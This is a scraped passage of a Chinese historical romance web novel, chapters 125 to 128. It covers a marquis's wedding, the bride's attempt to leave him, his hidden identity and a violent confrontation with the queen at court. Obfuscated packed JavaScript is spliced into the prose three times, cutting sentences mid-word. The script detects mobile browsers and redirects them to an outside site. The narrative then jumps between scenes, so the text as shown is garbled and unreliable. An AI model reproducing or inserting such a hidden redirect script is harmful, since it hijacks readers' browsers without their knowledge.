钗环压得脑袋都重了几分,絮儿怜悯地看了看她可怜的脖子,小心翼翼再扣上一顶步摇冠,整理串串金珠穿成的流苏、垂至下颌,再盖上一层银红薄纱。 她双手交握,将金翠交织的雉羽扇平稳抬起,挡住脸。 十二扇开路,两名喜娘在前接引,一边撒着红色花瓣,一边唱诵着成套的喜兴词。絮儿和柳儿一左一右虚扶住她,踏着铺路的红色地毡,走向正门。 鼓乐齐鸣、笙歌鼎沸,哄笑声、高呼声、推搡声,大门口人声熙攘。 在喜娘的指引下,她端庄执扇、款款跨出大门。正欲继续走下台阶,一双有力的臂膀伸了过来,紧跟着,她感觉身体一轻,她已被人打横抱起。 似曾相识的场景,恍惚间,芳润的甘甜木香,带着适意的温暖将她笼罩。 似曾相识的香气,她心神一漾,半天才回过神,张了张嘴正要说话,四周光线一黯,她已被放进轿辇。 她只好将轿辇窗子掀开一线,低声道:“絮儿,侯爷呢?” “自然是在轿前骑马”,絮儿压低声音,竖起食指比在唇边,“夫人噤声,风俗上来说,您从出门到却扇,都不能与侯爷单独相见。” 锦瑟:“……” 这都什么破规矩! 迎亲仪仗队吹吹打打、行至西安门,骑马者下马、乘车者下车。轿帘再度被掀开,建业侯伸手将她搀出轿辇,继续打横抱起。 这也是规矩,新嫁娘从出家门到进喜堂,脚不沾地。 过三道宫墙,跟随着仪仗队走过正殿前的空地,再沿着玉阶拾级而上…… 不愧是武将,抱着百来斤的重物,走这么远的路、爬这么高的台阶,大气都不喘一个。 入喜堂,锦瑟站在柔软的红色地毯上。转身时,她从扇面的间隙瞄了一眼正殿。 建宁王苻沣与继后,都穿着枣红色宽袖大袍,正襟危坐于螭陛之上。 一段红色姻缘绸,新郎新娘各一端,永结良缘。 一拜天地,一叩拜谢天降一对璧人,二叩拜谢地促一面惊鸿,三叩拜谢天地宽允收覆水; 二拜高堂,一叩拜谢兄长搭救教养,二叩拜谢挚友劳碌奔走,三叩拜谢兄友弟恭开基业; 夫妻对拜,一叩拜旧相知成新结缡,二叩拜天边月作眼前人,三叩拜独青鸾旧琴改新弦。 拜完堂之后,仪仗队又接引着他们出西安门,换乘双马拉动的香车,朱幄绯帷,饰以软香红、粉妆楼、玉液芙蓉、国色天香等绛红、绯红、柔粉、玉白的月季,馥郁盈鼻。 婚期既定在五月初十,也不知从西安门到洛川别苑、沿途那十万棵红梅种着作甚?钱多烧的么? 红,好红。 锦瑟悄悄将扇面挪得远些,悄悄打量着焕然一新的主屋。屋檐下灯笼透出轻红的光,正红的绸带、绢花门楣上随风轻拂,正门张贴着成对的“囍”、螭龙、雉的图案。 推门而入,天花板四个角各牵出两条红绸,在正中攒成一对牡丹。房间的四个角,各放一盏高架的落地宫灯,琉璃灯罩上以掐丝珐琅绘着并蒂芙蕖,黄花梨木绢丝绢屏风上、斜斜绘着数枝红梅。 绕过屏风,黄花梨木圆桌上,一对龙凤红烛静静燃烧。锦瑟坐在桌前,心乱如麻、思绪万千。 如此精致奢靡的铺陈,足见建业侯的用心。她默想着即将发生的事,觉得自己挺不是个东西。 可是,路是自己选的,无论结果如何,都该自行承担。 意外的安静,外院喜宴的喧嚷声和笑声传进洞房,愈发衬得屋内寂静。她悄悄打量、松了口气,偌大洞房空无一人。 并没有习俗中说的,大群族中子弟、女性长辈闹洞房的环节。 等了不知多久,逐渐昏昏欲睡,忽听门外传来絮儿和柳儿的声音:“拜见侯爷。” 她一个激灵清醒过来,忙坐端正,双手抬起雉羽扇遮住脸。门“嘎吱”轻响,轻捷的足音慢慢走近,甘甜木香混着酒气、近在咫尺。 一双微凉发颤的手伸过来,与她交握,欲抽走雉羽面扇。 “侯爷且慢。” 建业侯没说话,抽面扇的动作顿住了,似在倾听。 她清了清嗓子,声音柔和而坚定:“奴家有幸,九年前蒙侯爷搭救,不至沾染污泥,如今又蒙侯爷抬举,使奴家苟以微芥之身,得以登堂入殿,仰国君圣颜、持高门中馈。” “如是种种,皆因侯爷有济弱扶倾之高义,又有南园遗爱之情深。然,妾愧不敢受。” “妾自南柯梦醒、前尘皆忘,又遇心仪之人,已视侯爷如同陌路、必将辜负抬爱。所有过错皆在妾一人之身,纵使贵人宽容不计,妾亦无颜继续苟且于富贵,在此向求侯爷求个一别两宽。” 建业侯收回了手,却并未走开,显是在继续倾听。 她羞愧得无地自容,然而开弓没有回头箭,只得屈膝一拜,定了定心神,继续道。 “侯爷乃当世英雄、国之大才,妾虽决意离去,也当见心明性、坦荡相别,是打是罚、当受则受,方不负对侯爷敬重之心。” “妾本欲婚前与侯爷陈情,奈何等待多日、不见侯爷回府,拖到此刻才言明,实属无奈,望侯爷明察。” “受恩良多,无以为报。当年为妾赎身的五千金,妾已还入侯爷私库,稍作弥补。” “妾与侯爷,虽再无夫妻情分,却仍对侯爷万分景仰。离府之后,侯爷若有用得到之处,妾仍愿鞍前马后、效绵薄之力。” 酒气和甘甜木香不知何时消失了,屋内静悄悄的,房门大开,阵阵夜风吹进来,愈发显得空空荡荡。 建业侯不知什么时候已经走了。 换个人,早气得想杀人了,他却只是走了? 房门口传来少年的声音:“主子让卑职送姑娘出府。” 居然这样通情达理? 她更是感激得无以复加,起身,将满身价值不菲的钗环珠翠一一卸下,褪下喜袍。 跟着少年过几重院落,从梅林小径走到后门时,她忍不住回身,对着那灯火通明的院落,躬身长揖、遥遥一拜。 后门外,萧望舒一袭梅红长袍,侧身站着、不知等了多久,羊角灯透出昏黄的光,照得他脸庞一半明朗、一半晦暗。 马车平稳驶向松花巷口,车内的两人,竟第一次相对无言。 许久之后,他才轻声开口:“折腾一整天,定是饿了,先去清风楼垫垫罢。” 灯火辉煌,佳肴满桌,他上半身歪坐,托腮含笑,注视她大快朵颐的样子,眼神宠溺如昔:“姑娘既愿与我相守,可否随我归家?” 锦瑟:“我要先想法子赚钱,还你那五千金。” 萧望舒愣了愣:“我的不就是你的,何须还?” 锦瑟笑着摇头:“不一样的,那是我的赎身钱,若任由你出,不过是从一个主子转手到另一个主子,依然是妾侍,遥如云泥、谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432490|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何相守?” 萧望舒无奈苦笑:“五千金对于我不过九牛一毛,你如今孑然一身,上哪儿赚钱去?” 锦瑟认真地说:“我读过很多书,出府之前,听说洛京有家书院在招教习、束脩颇高,男女不论,我想去试试。” “洛京太远,得先攒盘缠,听说我以前很会管账,可以温习温习,先找家铺子作账房先生。” “若一时寻不到机会,当垆卖酒也可、茶肆酒楼打杂也可,终归饿不死……再慢慢想法子……” 萧望舒笑容消失,眼里透出震惊,定定注视她良久后,重新挤出一个微笑:“我家中有一要职,迎来送往、庶务繁杂,一般人做不来,姑娘可愿一试?” 锦瑟正色道:“受人财帛,自当尽其职责,在下不敢随意应承,请公子先带我试做几天。” 夜色寂寂,车马辚辚,马车在街面不知绕了多久,停在一座府邸门口。萧望舒率先下车,伸出双臂将她搀下来。待她站稳脚跟,看清那匾额时,一个趔趄险些摔倒。 四个瘦劲挺拔的篆体——洛川别苑。 她揉了揉眼睛,没眼花,红绸和绢花还挂在门上呢。 正是她自从醒来就没出入过几次、十分陌生的建业侯府正大门。 她看了看府邸名称,再看看萧望舒,如遭雷劈:“你就是……” 一阵急促的铁靴踏地声由远及近,卫士长姚晟率府兵匆匆赶来,夹道跪成两列:“卑职姚晟,恭迎侯爷与夫人回府。” 萧望舒,就是建业侯苻洵! 苻洵挥手示意府兵退下,正色道:“家中现有稚子三人、稚子生母两名、屋宅园林百亩,另有随从家人百余名、府兵一百。” “缺一位正室夫人,统管全府,主理财帛度支、仆从辖制、子女教养、迎来送往诸般庶务……姑娘可愿意?” 锦瑟从震惊中回过神,恼怒道:“侯爷可真是好兴致,闲来无事消遣妾身。” “姑娘勿恼”,苻洵笑了笑,柔声解释:“萧乃先嫂姓氏,长嫂如母,勉强算是随母姓,‘望舒’为‘月亮’,正是在下的蛮族名字。” “至于这几日所为……”,他脸上显出一丝落寞,“其一,我曾有一大疑惑、萦绕心头六年,不甘与嫉恨郁结、几乎酿成心魔,才出此下策,以求得一个解答。” “其二,姐姐既已不认得我,我又怎能在未知姐姐心意时,贸然迎娶?” 锦瑟思绪一阵恍惚:“姐姐?” “我与你同岁,你的生辰在六月底,我的生辰是九月初八,从始至终,我一直称姑娘为‘姐姐’。” 苻洵静静凝视着她:“姐姐可还愿与我继续合卺结缡?” 从掀开面具、二人对视的那一刻起,他的眼眶一直发红、不时有泪光闪过,看她的眼神也一直缱绻而深情,藏着悲凉。 那似曾相识的悸动、那撕扯着她的怅惘和酸涩,霎时有了依凭。 默了半晌,她抬眸与他对视,认真地一字字道:“你叫什么不重要,你是商户之子还是建业侯也不重要,重要的是‘你’。” “我本无意惹惊鸿,奈何惊鸿入我心。” “阿洵,我愿意嫁给你。” 玉盏盛满琥珀光,男左女右交臂互饮,盏一仰一合,同时饮讫、掷盏。 剪下各自的一绺发丝时,她恍神了片刻,下意识定定注视着苻洵的面容。他却面不改色,小心翼翼将发丝缠作一股,放进一只花梨木匣。 他微醺的双眸亮晶晶的,隔着红烛,目不转睛凝视着她,似已痴了,含泪微笑:“从别后,忆相逢。几回魂梦与君同。今宵剩把银釭照,犹恐相逢是梦中。” 他牵过她的手,亲吻她的指尖,再贴在自己脸颊上、轻柔地摩挲,感受她掌心的纹路和温度,潸然泪下。 “是真的……真好……不是做梦……” 126. 似是故人来 花烛红光朦胧,照着画梁绘柱、朱金木雕的踏步大床,挂前帐的柱子上,用泥金题着“只恐夜深花睡去,故烧高烛照红妆。” 苻洵放下红色绫罗的外帐、银红薄纱的内帐。在她身旁躺下,两人同枕而卧,面对面静静对视。 他的眼神极痴,俯身,一点点亲吻她的额头、眼眸、脸颊、下颌,动作温柔而珍惜,好似她如珠如宝、如九天谪落的仙子。 微凉的指尖抚过她脖颈,堪堪停在衣领处,摩挲了一遍又一遍,偏过头吻上去。能感知他气息逐渐紊乱、身躯紧绷着,有些颤抖、有些发烫,指尖和嘴唇却都没有再往下分毫。 最终,只是替她拢好有些凌乱的寝衣,伸臂紧紧搂住她、将头埋进她颈窝,嗅着她发丝的香气,合上双眸。 “这样就很好了……”半醉半醒间,他喃喃低语。 颠乱梦境纷至沓来,一夜莫名心悸、复醒复睡、复睡复醒。她几乎每次醒来,都发现苻洵醒着,时而在枕边痴痴注视她的睡颜;时而抬臂,指尖在虚空中、一点点描摹她的轮廓。 对视的刹那,总有恍如隔世的错觉。 但苻洵没给她思考的时间,每每一看到她睁眼,都会立即出声关怀。 “姐姐可是渴了?”倒来茶水喂她喝下。 “姐姐可是觉得热?”抱来一床薄衾,换掉沉重的喜被,又拿起一把纨素团扇替她扇风。 “姐姐可是觉得太闷?”将内外双重帷帐挂起,让凉爽的夜风吹进来,又点燃防蚊火绳插进床头香炉。 阳光洒在银红的软烟罗纱窗上,映得房内一片轻红。锦瑟醒来时,发现苻洵已梳妆更衣完毕,正坐在屏风前,拿着一把烛芯剪,注视着圆桌上的龙凤红柱出神。 那对花烛即将烧尽,只剩两小堆熔融的红蜡,正中凹出两汪蜡油,两豆火苗仍倔强燃着。 听到她翻身的声音,他转过头,双眸因欣喜又亮了许多:“姐姐你看,它们一夜长明。” 荣国风俗,花烛齐头并进,同时燃尽长夜至天亮,为吉。 他居然守了一夜。 第一声蝉鸣响起,晨风挟着露气从半开的花窗涌入,卷过屏风后,两枚淡如薄纱的焰苗齐齐熄灭。 夜尽天明,一烛灭时、另一烛也同时熄灭,为“白头偕老,生同衾、死同椁”。 . 洞房昨夜停红烛,待晓堂前拜舅姑。 长秋宫遍植合欢树,苻洵携锦瑟入宫奉茶时,正值盛花期。满树小花飘扬在叶间,吐尖绒缕湿胭脂,遥遥看去、像笼着一树又一树粉红的云雾。 “合欢花寓意永远恩爱,阖家欢乐”,锦瑟为此胜景流连忘返,“听柳华姑姑说,萧王后最喜合欢花,想必十分温婉和善。” 苻洵抬手接下一朵飘坠的花,轻声道:“她确实很温婉和善,哥哥和她感情很好。” 顿了顿,他苦笑着摇头:“她曾试过像母亲那样待我,可我那时太不懂事,仗着哥哥疼我总惹她生气。等我想与她好好相处时,已经太晚。” 建宁王苻沣年过不惑,穿着淡青色薄绸、上下通裁的直裰,举手投足温文尔雅,不像一国之君、倒像个翩翩文士。他看起来比实际年轻许多,眉目疏朗、鼻若悬胆,生得颇为俊美,却又与苻洵的好看截然不同。 苻洵之美,是张扬的风流倜傥,带着锋利、妖异和邪气;苻沣之美,是内敛的端雅入骨,散发着宽容、平和与温煦。 可偏偏,是如此优柔无害的宽容,约束住了苻洵这柄锋利的剑。 “先不必跪着,王后还要等会儿才到”,苻沣含笑打量了二人一番,“都不是外人,赐坐吧,孩子们过来、拜见小叔和小婶。” 座次是按年龄排的,从上到下依次是:二公主苻菁,三公主苻蓁,苻菁眉眼像苻沣、苻蓁鼻子像苻沣;继续往下,是六岁的太子苻阙。 苻阙一见他们、眼圈就红了,锦瑟被苻阙盯得诧异,下意识转头瞥了一眼苻洵…… 苻沣温和地笑了:“看来弟妹还需将养,阿阙就是弟妹与阿洵亲生的。” 啥?他们还有孩子? 昨晚那不熟的样子,哪像跟她生过孩子? 何况,他动作之生涩、小心谨慎,倒像从来没碰过女人,她想破脑袋都搞不懂这几个孩子咋来的? “回去与你细说”,苻洵飞快转移了话题,看向苻沣,“王后殿下一直都起得极早,今日这境况、是臣弟何时又得罪她了?” “你们俩的宿怨,还用再得罪么?”苻沣一对上苻洵,便转了语气,凉飕飕地说,“还以为你巴不得与她老死不相往来,让朕代她一并喝了这新妇茶呢。怎么又惦记上了?” “臣弟是不太想见她,可有件事,还需王后殿下相助一二”,苻洵收起慵懒的神色,肃然道,“再过两月便是中元节,去年兵荒马乱,翊庄王与翊烈王葬礼甚是简素。为安抚东原道民众之心,臣请奏修缮庄王和烈王的陵寝。” 苻洵扫视一圈在座各人,继续说:“然后——迁褚太后之灵柩,与庄王合葬。但是褚太后遗物几已散佚,还望王后殿下助臣。” “不错,成个婚,倒长出了几分良心和敬畏心”,苻沣嘴角抽搐了两下,皮笑肉不笑,“今日倒并非王后拿乔,她刚诊出有孕,近来嗜睡得很。” 苻洵眼睛一亮,忙拉锦瑟起身,走到厅中屈膝跪拜:“恭喜陛下,社稷后继有人!” 旁边传出“哐当”一声脆响,三人齐齐转头。只见苻阙的座位前,茶盏跌得四分五裂、瓷片飞溅,滚烫的茶水泼在他腿上,腾起一股白汽。 苻沣起身正欲上前察看,堂后传来请安“王后娘娘千秋”,他眼见有宫人上前收拾,便转身迎向堂后。 苻洵也收回目光,挺直了腰背、仰首挺胸,对着携手转过后廊、踏进前堂的两人,扬声道:“臣弟苻洵,携新妇锦瑟拜见王兄王嫂。” 锦瑟精神一振,忙将双手平举、悬在半空中,引身而起、再俯身向下,额头触碰地面、稽留片刻方起,如此稽首三次,方直了上身。 长秋宫令慕荷端来一个檀木托盘,托盘中放着一对巩红金玉满堂茶杯。她矮身下蹲,方便锦瑟捧起一杯热茶、举过头顶,低头屈身,恭声道:“请陛下用茶。” 苻沣忙让人接过茶杯,赐下一对流云百福暖玉佩。 到王后这儿就没那么好运了,锦瑟刚将茶杯举过头顶,王后突然开始与苻沣说笑,并不吩咐人去接她手中茶杯,任由她举着茶杯进退不得。 所幸,这杯茶并不似前一杯那样烫,锦瑟一边感激慕荷姑姑,一边思忖苻洵与王后有何过节,竟连表面功夫都懒得装。 直到她高举的双手开始颤抖,头顶才传来悠悠的女声:“忍冬,怎还不将新妇茶端过来?” 双手一松,锦瑟垂下僵硬酸麻的胳膊,又听王后说:“抬起头来。” 对视的刹那,她心脏猛地一跳,愕然僵在原地,忘记了呼吸。 继后绮年玉貌,柳眉深黛笼烟、凤眼顾盼生辉,满脸笑盈盈的,望之如沐春风……锦瑟却总觉得别扭,脑中走马灯似的闪过无数张继后的脸,却是截然不同的表情。 喜、怒、哀、惧、爱、厌、勇、怯,全不似继后这般张扬,都是端雅而内敛的。所有表情中,出现最多的,是双眸凛若寒霜、唇角噙一丝浅笑。 锦瑟正恍惚着,继后已霍然起身,走过来怔怔注视着她,双唇剧烈颤抖、眼眶通红蓄满泪水。忽然,继后猛地一扬臂,将手中茶杯砸向苻洵。 “禽兽!” “哐当”一声瓷片飞溅,热水劈头盖脸浇了苻洵满脸,他额角被砸破、流下两行血。 锦瑟如梦初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446202|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒,忙膝行过去察看苻洵,继后却握住她的双肩、将她拉起,哽咽着呼喊。 “他们都说你死了,我不信……我找了你好久,你跑哪儿去了?” “还活着就好……咱们不报仇了,不报仇了好不好……咱们回家……” “四嫂,看我啊,我是阿晴……” 继后疯狂摇晃着锦瑟双肩,声嘶力竭地呼喊着。苻沣忙拦腰抱住继后,想分开她们,继后却攥得很紧,几乎要将锦瑟肩胛骨捏碎。 “阿晴,你冷静些……她不是……” 继后情绪激荡,完全听不进半分,嚎啕大哭,盯着锦瑟的双眼:“褚姐姐,我是阿晴啊……你不认得我了么?” 出手快如闪电,竟揪住锦瑟的领口用力一撕,发了疯似的探寻她的左肩:“疤呢?我记得这儿有道旧伤的。” “还不都退下!”苻沣不敢对孕妻使劲,忙斥退堂下诸子女,别过脸呵斥苻洵,“杵在那作甚,还不快把人带走。” 说时迟那时快,继后放开了锦瑟,霍然出手挥出一拳,同时伸腿一勾。 锦瑟感觉左边肋骨如铁锤砸中,闷痛冲击得五脏六腑一阵激荡,几欲呕吐。双腿被绊住,身子猛地向后一倾,重重倒向地面。 电光火石间,苻洵跪着就地一滑,从身后托住锦瑟,将她搂在怀中,低头恭声道:“臣有罪,内子无辜,还请殿下手下留情。” 继后看着捂住左边肋下、不断呛咳的锦瑟,愣住了,摊开自己双掌,难以置信地凝视着。 苻沣见继后冷静了,温声道:“先前与你说过,弟妹形貌酷似先嫂。她是锦瑟,九年前就在洛川别苑了。” 在苻沣的搀扶下,继后失魂落魄地退了几步,坐在椅子上,笑容苦涩而绝望:“是我糊涂了,她即使没死在刀兵下,也会毒发身亡,活不到如今……” 她霍然抬眸盯住苻洵,眼里尽是怨毒:“苻洵,你好、你好得很,日夜对着这样一张脸,不怕做噩梦么?” 苻洵与继后对视一瞬,弯起唇角,露出一个慵懒的笑,张了张嘴正要说话…… “你闭嘴!”苻沣厉声喝止了他,搀扶继后往里走去,“还不带弟妹回去看医?” 殿门口停放着慕荷找来的步辇,苻洵漫不经心笑着,就那样在众目睽睽之下,打横抱起新妇,一步一步走出去,将她放上步辇。 . “你到底与王后有何过节?”马车平稳地行驶在子午大街上,锦瑟按着左肋、深吸一口气,继后那一拳是收了力的,现在疼痛已淡得难以察觉,“当着陛下的面都能打起来。” 一直低头不语的苻洵,忽然抬眸,笑容恍惚、眼神轻飘飘的:“我先害死了她嫡亲的兄长,又亲手杀了与她感情深厚的嫂子,然后带兵灭了她的国都。” 锦瑟:“……” 他的语气轻松又自然,就像吃饭喝水,她竟哑口无言。 “这么个血海深仇的人,也敢放在身边,不怕她哪天睡到半夜,往陛下胸口捅几刀。” “怕什么怕……一个愿嫁、一个敢娶”,苻洵眼神缥缈,忽然定格在她身上,“哥哥恋慕她已久,就算哪天半夜被她捅上几刀,也定是甘之如饴。” 锦瑟为他淡漠生死震惊,打了个寒噤,喉咙发干发堵。 半晌才回过神,倒了两杯茶,自饮一杯、递给苻洵一杯:“那么我为何会长得像她嫂子?” 苻洵垂眸瞥了一眼茶杯,注视着她:“喂我。” 他眸光流转,竟显出几分妖异,看得她心神一漾,将竹节杯举到他唇边。他低头饮了一口,抓住她的手猛地一拉,就势将她拽进怀中。 杯中茶水泼洒出来,浸湿了他的前襟,他毫不在意,笑容可掬地捏了捏她下颌,摩挲着她的脸。 “你们为何长得像……我怎么知道?” 127. 既要又要 苻洵的眼睛生得极好,不只在于澄澈清朗、眼型漂亮,更在其神采。 若是冷眼注视,透出的狠辣冷厉令人不寒而栗;可若是含笑凝睇,眸光流转间,周遭空气顷刻变得旖旎而缱绻。 镇得住几十万大军,招得来一大堆桃花…… 锦瑟双颊一热,忙避开他视线,岔了话题:“继后绮年玉貌,又出身高贵,怎会嫁给有血海深仇的人?” 苻洵动作一滞,目光带了些探究:“你对她有兴趣?” 锦瑟摇头:“只是好奇,感觉陛下对她十分爱重,而她对你那般态度……” “原来姐姐是担心我”,苻洵松了口气,轻笑,“她虽泼辣,却是磊落之人。萧王后与她十分交好,萧王后过世后,她还会抽空来灵昌照拂阿菁和阿蓁,很是重情重义。” 锦瑟若有所思:“听说陛下与萧王后结发夫妻,情份甚笃。陛下大概也是在她替亡妻照拂女儿时,对她暗生情愫吧。” 苻洵没有否认,掀开马车窗帘指向一处:“那家客栈叫‘风归云’,继后之前来灵昌小住时,几乎都宿在此处。” “她大概至今不知,王兄早已悄悄包下所有上房,平日里都空着。只待她入住,才派些好手穿上常服,暗中护她安全。” 锦瑟定睛一看,异样的感觉在脑中稍纵即逝:“与洛川别苑只隔半条街?她为何不找靠近王宫的店,出入长秋宫也方便些?” 苻洵摇头:“这我就不知道了,她的所作所为,有时连我也看不懂。比如建宁三年底,两国已开始针锋相对,她还是说服王上,让自己堂弟迎娶了大公主苻萱。” “所以,继后是陛下女婿的堂姐,这辈分……”锦瑟听得眼前一黑。 苻洵不以为然:“联姻哪管这些,这桩婚事对荣国和南翊都有益处。” 说来说去,全是利益。 建宁七年冬,苦撑近两月的昇阳被苻洵攻破,但是在翊烈王元承陵的掩护下,东原道三十多城的军队、官员、平民皆已安全撤离。 然而,迁都阊江的最大难点,不在于安全撤离,不在于怎么安排南翊宗室、满朝文武、大小世家,而在于怎么安置那些基数庞大、以土地为生的平民百姓。 淮水以南的南翊,鱼米之乡、人口密集,原住民自是不愿再多出几百万人,同自己抢田地和水源。 于是,兵乱结束之后,南下投亲靠友的,藏在深山地窖的百姓纷纷冒出来,胆战心惊在故土上修缮家园,想重新把日子过下去。 丞相景樊提出一系列安抚旧都遗民的措施:阳华山凰羽寺的祭祀供奉如旧,祭拜昇阳元氏王陵,重开碧宁书院、广募教习,起复翊人继续治理这片土地…… 然,依照荣国律法,较之翊国统治时,此地赋税增加两成、征兵数量翻了一番,东原道百姓的生活,从吃饱穿暖,到只能吃个半饱、冻不死人,比以往艰难不少。而且,隔了国仇家恨、风俗迥异,治理起来颇为棘手。 其实,景樊已尽力平衡了。 早在苻洵攻下东原道之时,朝中大批主战派已跃跃欲试,希望苻洵犁庭扫闾,将翊国遗民尽数降为奴隶。 主和派反对说,降为奴隶是异族的野蛮做法,荣国是礼仪之邦,不能弃珠玉而就草签。 苻沣压了一个多月,也没吵出个结果。甚至连他决意册封南翊公主为后,也被群臣上奏谏言。 直到年底,苻洵回朝述职,披露了攻打昇阳的详细过程。听闻昇阳战死至最后一人、元承陵临终还杀了个校尉垫背,满朝文武沉默了近一刻。 荣军也损失惨重,善战如苻洵,昇阳一役折耗了近六万精兵。 “如此有血性的王室,如此彪悍烈性的国民,若因欺凌太甚、揭竿而起。敢问各位大人,谁去领兵平息事态?” “届时若暴乱不休、冲突不止,东原道被屠得只剩个空壳,谁去耕作土地、躬身蚕桑?” 苻洵一向穷兵黩武、杀人如麻,众臣皆未料想他会支持怀柔。 建宁八年正月初九,苻沣修国书一封,送往南翊都城阊江,正式求娶大长公主元晴。意想不到的是,元晴也亲笔手书一封,随国书一道送往阊江。 将亲姑姑嫁给敌国,幼主自然是不愿,但过了两日,冯太后和丞相压下满朝反对,认了这门亲事。 建宁七年,如日中天的大翊,失去了三分之一的国土,分裂为南北两个。南翊虽国力仍强于荣国,却再无绝对优势。 况且,荣国有苻洵。未经休养生息、轻启战端,便是押上了生死存亡。 “可是刚听你说,陛下心悦王后多年,为何还要发兵攻翊”,锦瑟听苻洵讲着,思索了许久,忽然提问,“要么选开疆拓土、封心锁爱,要么选儿女情长、知足常乐,这世上岂有两头都要的?” 换言之,男人一心争权夺势也可、一心追情逐爱也可,既要又要、就有些难以言喻了。 “好像挺有道理”,苻洵愣了片刻,笑容有几分苦涩,“可惜这世上,权势与恩爱往往不是非此即彼。权势滔天者,不一定会得偿夙愿;无权无势者,却必然守不住挚爱。” “其实,从陛下将大部分兵权放给我的那刻起,就已舍弃情爱,如今种种皆是造化弄人。” 锦瑟心念一动,抬眸凝视着他:“阿洵,我虽知你是前者,却仍想问一句,你是从何时起、因何开始追逐权势?” “是啊……我是前者”,苻洵自嘲地笑了笑,拔出腰间短刀,平举到眼前,指尖在霜雪般的锋刃上反复摩挲,“有三个男人,教会我何为权势。” “逆王元琤教会我,国弱民贱,小国的贵族宗亲,不如强国的猪狗;蒙舍王教会我,只要拥有了权势,再倒行逆施,也有的是人替他粉饰太平。” “至于第三个……”他注视着刀身倒映出的自己,眼神恍惚,刀锋闪过一缕细亮的光,一串血珠从他指尖滚落。 锦瑟一惊,倾身察看他的手:“流血了。” “我喜欢用快刀,哪怕容易伤到自己”,苻洵若无其事收刀回鞘,扬起唇角,“这浮生太过无趣,若不时刻贴着刀锋,我总是忘记自己还活着。” 他伸出手,带着血珠的指尖抚过她双唇,涂上一层比胭脂还明艳的红,眼神雾蒙蒙的:“姐姐这样更好看了……喜欢还来不及,怎会做噩梦?” 锦瑟打了个寒噤,忙岔开话题:“第三个怎么了?” 苻洵笑容恍惚,将渗血指尖从她双唇挪开,点上她的额心,以血作颜料、画出一瓣又一瓣花钿:“第三个教会我太多,毕竟,他可是我最大的对手。” 锦瑟:“你讨厌他,恨他?” 苻洵摇头:“不,我敬佩他。他聪明强大、心智坚定、周全缜密、几乎无懈可击。他不但救过我性命,还教会我怎样获取权力、巩固权力、使用权力,以及更多……” 锦瑟听得入神,忙追问:“还有什么?” 苻洵笑容透出揶揄,目不转睛看着她,指了指自己嘴唇:“喂我,用这儿。” 锦瑟一怔,心跳加快、双颊耳根发烫,像是被那轻佻的笑摄了魂魄,僵硬地端起水杯含了一口,闭上眼睛、仰头贴了过去。 对面的人身子猛然一僵,似是难以置信,旋即如梦初醒、紧紧揽住她后背。 滚烫的嘴唇覆下来,分开她双唇、将她口中茶水吸吮干净,顺势撬开她牙关,勾着舌尖反复舔舐吸吮。 她身躯轻轻颤抖,起了层细密的薄汗,心跳越来越快,四肢百骸同时涌起又酥又麻的愉悦,她气息急促而凌乱,忍不住轻哼出声,伸出手臂环住他脖子,身躯软软地贴紧他。 车外是明亮热闹的,车内是昏暗幽静的,只有两人缱绻的呼吸声。 她感觉不能呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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锦瑟回过神:“阐儿说得很对,先回去温书吧,往后有了什么心得,都可找母亲谈论。” 苻阐兴奋得小脸通红,脚步轻快地跑到后面看书去了。 锦瑟从冰水里捞出寒瓜,切成小块盛入盘中、放到小茶几上:“都来吃寒瓜消暑。” 苻阐银签叉起一块,先踮脚喂给锦瑟,锦瑟冲他激励地笑了笑,他迟疑片刻,叉起另一块喂给苻洵。 冰水湃过的寒瓜,散发着凉爽清甜停在唇边,稚子的眼睛纤尘不染、满是孺慕。苻洵有片刻恍惚,仿佛注视着二十多年前、那双同样孺慕的眼睛。 这一次,他弯身抱起稚子,再也不放开。 就好像,二十多年前,他投入那个怀抱之后,从未被推开过、放弃过。 洛川别苑的三个孩子:苻阐、苻忆、苻阗。苻阗年岁太小,苻阐和苻忆都带去北卢郡。锦瑟说,孩子大了,跟着父亲接受言传身教更好。 苻洵莫名被她说得十分开心。 虽然他委实不知,自己能言传身教给孩子什么,吊儿郎当?暴戾嗜杀? 成婚第二天,苻阐和苻忆向锦瑟奉茶时,絮儿说俩孩子从小养在她跟前,可她只有茫然和陌生,就连苻忆故技重施对她撒娇,也未荡起她心中半分涟漪。 她想了大半天,还是强忍膈应,咬咬牙下定决心:“阿洵,虽然我往事尽忘,可这些都是你的孩子,按风俗也是我的孩子,你既信我,我就尽力做个好母亲。” 苻洵脸上显出一丝尴尬,欲言又止,半晌后柔声宽慰她:“使奴唤婢供着他们,金尊玉贵养着他们,我另从宫里找傅母管教便是,你不要苛求自己。” 锦瑟态度却很坚决:“父母子女皆是缘分,无论前尘为何,既有这缘分,就要好好地疼他们、教导他们,为他们长远计。” 苻洵当时就愣住了,端着茶杯的手颤得厉害,垂眸注视着地面。 许久之后,他含泪挤出一个微笑:“我知道了。” 128. 秘密 舆图一张,天下六分。 